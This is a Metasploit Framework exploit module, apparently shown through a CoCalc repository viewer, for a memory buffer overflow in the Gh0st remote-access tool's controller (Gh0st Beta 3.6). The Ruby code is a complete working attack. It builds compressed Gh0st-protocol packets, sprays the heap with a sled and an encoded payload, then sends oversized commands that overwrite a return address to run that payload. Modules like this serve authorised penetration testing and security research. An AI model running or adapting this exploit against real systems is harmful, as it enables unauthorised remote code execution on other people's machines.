Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/gh0st.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = NormalRanking
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Gh0st Client buffer Overflow',
17
'Description' => %q{
18
This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
19
},
20
'Author' => 'Professor Plum',
21
'License' => MSF_LICENSE,
22
'References' => [
23
],
24
'DefaultOptions' => {
25
'EXITFUNC' => 'thread',
26
'AllowWin32SEH' => true
27
},
28
'Payload' => {
29
'Space' => 1000,
30
'BadChars' => '',
31
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
32
},
33
'Platform' => 'win',
34
'DisclosureDate' => '2017-07-27',
35
'Targets' => [
36
['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
37
],
38
'Privileged' => false,
39
'DefaultTarget' => 0,
40
'Notes' => {
41
'Reliability' => UNKNOWN_RELIABILITY,
42
'Stability' => UNKNOWN_STABILITY,
43
'SideEffects' => UNKNOWN_SIDE_EFFECTS
44
}
45
)
46
)
47
48
register_options(
49
[
50
OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
51
Opt::RPORT(80)
52
]
53
)
54
end
55
56
def make_packet(id, data)
57
msg = id.chr + data
58
compressed = Zlib::Deflate.deflate(msg)
59
datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
60
end
61
62
def validate_response(data)
63
if data.nil?
64
print_status('Server closed connection')
65
return false
66
end
67
if data.empty?
68
print_status('No response received')
69
return false
70
end
71
if data.size < 13
72
print_status('Invalid packet')
73
print_status(data)
74
return false
75
end
76
mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
77
if mag.index(datastore['MAGIC']) != 0
78
print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
79
return false
80
end
81
if pktlen != data.size
82
print_status('Packet size mismatch')
83
return false
84
end
85
msg = Zlib::Inflate.inflate(data[13..data.size])
86
if msg.size != msglen
87
print_status('Packet decompress failure')
88
return false
89
end
90
return true
91
end
92
93
def check
94
connect
95
sock.put(make_packet(101, "\x00")) # heartbeat
96
if validate_response(sock.get_once || '')
97
return Exploit::CheckCode::Appears
98
end
99
100
Exploit::CheckCode::Safe
101
end
102
103
def exploit
104
print_status("Trying target #{target.name}")
105
print_status('Spraying heap...')
106
for i in 0..100
107
connect
108
sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
109
if not validate_response(sock.get_once)
110
disconnect
111
return
112
end
113
end
114
115
for i in 103..107
116
print_status("Trying command #{i}...")
117
begin
118
connect
119
sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
120
sock.put(sploit)
121
if validate_response(sock.get_once)
122
next
123
end
124
125
sleep(0.1)
126
break
127
rescue EOFError
128
print_status('Invalid')
129
end
130
end
131
handler
132
disconnect
133
end
134
end
135
136